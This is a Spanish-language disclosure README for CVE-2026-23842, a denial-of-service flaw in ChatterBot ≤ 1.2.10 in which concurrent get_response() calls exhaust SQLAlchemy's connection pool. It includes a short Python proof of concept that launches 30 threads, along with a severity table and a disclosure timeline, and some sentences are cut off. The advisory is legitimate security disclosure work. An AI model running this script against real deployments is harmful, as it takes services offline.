
CVE-2026-23842 — Vulnerabilidad de denegación de servicio de severidad alta causada por el agotamiento del grupo de conexiones de SQLAlchemy en llamadas concurrentes a get_response() en ChatterBot ≤ 1.2.10.
Este repositorio documenta mi descubrimiento y divulgación responsable de CVE-2026-23842, una vulnerabilidad de Denegación de Servicio de Alta Severidad en ChatterBot.
Las versiones de ChatterBot ≤ 1.2.10 son vulnerables a una condición de Denegación de Servicio causada por una gestión inadecuada de las sesiones de base de datos y del pool de conexiones.
Las invocaciones concurrentes de:
get_response()
pueden agotar el QueuePool subyacente de SQLAlchemy, lo que resulta en:
sqlalchemy.exc.TimeoutError<= 1.2.10
>= 1.2.11
ChatterBot depende de SQLAlchemy para la interacción con la base de datos y utiliza una configuración predeterminada del pool de conexiones.
Sin embargo:
Cuando múltiples hilos invocan get_response() simultáneamente:
TimeoutErrorEsto resulta en una denegación de disponibilidad en todo el servicio.
from chatterbot import ChatBot
import threading
bot = ChatBot("dos-test")
def attack():
bot.get_response("hello")
threads = []
for _ in range(30):
t = threading.Thread(target=attack)
t.start()
threads.append(t)
for t in threads:
t.join()
El siguiente video demuestra:
Si se implementa como:
Un atacante puede desencadenar la condición de forma remota sin autenticación.
| Métrica | Valor |
|---|---|
| Vector de Ataque | Red |
| Complejidad de Ataque | Baja |
| Privilegios Requeridos | Ninguno |
| Interacción del Usuario | Ninguna |
| Confidencialidad | Ninguna |
| Integridad | Ninguna |
| Disponibilidad | Alta |
| Fecha | Evento |
|---|---|
| Ene 9 | Vulnerabilidad reportada |
| Ene 13 | Mantenedor reprodujo el problema |
| Ene 17 | Aviso publicado |
| Ene 19 | CVE-2026-23842 asignado |
| Ene 21 | Publicación pública |
Descubierto y divulgado responsablemente por:
Aditya Bhatt Especialista en VAPT Reportero de CVE-2026-23842
Esta vulnerabilidad fue divulgada responsablemente al mantenedor antes de la publicación pública. No se compartió ningún exploit públicamente antes de la disponibilidad del parche.